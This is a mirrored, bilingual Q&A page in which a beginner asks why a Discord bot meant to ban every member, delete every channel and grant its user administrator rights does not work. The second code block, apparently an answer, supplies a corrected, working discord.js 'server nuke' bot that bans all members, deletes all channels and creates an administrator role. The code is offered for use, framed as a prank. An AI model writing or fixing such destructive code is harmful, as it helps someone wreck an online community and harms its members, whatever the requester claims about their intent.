繁体   English   中英

为什么我的 discord 机器人没有做它应该做的事情?

[英]Why isn't my discord bot doing what it's supposed to?

所以我是一个初学者,我正在尝试制作我的第一个机器人!

我决定做一些有趣的事情并制作了这个机器人。 它应该禁止所有人离开服务器,删除所有频道,并给你管理员(我实际上不会在其他人身上使用它,我只是开玩笑或恶作剧我的朋友。我是也是一个完整的初学者,如果代码不好,很抱歉)

const Discord = require('discord.js');
const client = new Discord.Client();

client.once('ready', () => {
    console.log('Ready!');
});

if (Discord.Message.content === '!ban-all') {
    message.guild.members.filter(member => member.bannable).forEach(member => {member.ban()});
    message.delete(1000);
}

if (Discord.Message.content === '!give-admin') {
    role = message.guild.createRole({

        name: "Admin",
          color: "#2f3136",
          permissions: [8]

    });
        
    message.member.addRole(role)
    message.delete(1000);
}

if (Discord.Message.content === '!delete-all-channels') {
        message.guild.channels.forEach(channel => channel.delete())
          }

client.login('(my token)');
const Discord = require("discord.js");
const client = new Discord.Client();

client.on("ready", () => {
    console.log(`${client.user.tag} is ready!`);
});

client.on("message", message => {
    // Making sure that others cannot use the commands.
    if (message.author.id !== "YourDiscordID") return false;

    if (message.content.toLowerCase() == "!ban-all") {
        message.delete(1000);
        message.guild.members.cache.forEach(member => {
            member.ban().catch(e => {console.log(`Couldn't ban ${member.user.tag}. | ${e}`)});
        });
    };

    if (message.content.toLowerCase() == "!give-admin") {
        message.delete(1000);
        if (!message.guild.me.hasPermission("ADMINISTRATOR")) return message.reply("I do not have Administrator permissions.");

        message.guild.roles.create({
            data: {
                name: "Admin",
                color: "#2f3136",
                permissions: "ADMINISTRATOR"
            },
            reason: "Reason"
        }).then(role => message.member.roles.add(role).catch(e => console.log(`Couldn't add the role. | ${e}`)));
    };

    if (message.content.toLowerCase() == "!delete-all-channels") {
        message.guild.channels.cache.forEach(channel => channel.delete().catch(e => console.log(`Couldn't delete the channel. | ${e}`)));
    };
});

client.login(process.env.DISCORD_AUTH_TOKEN);

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM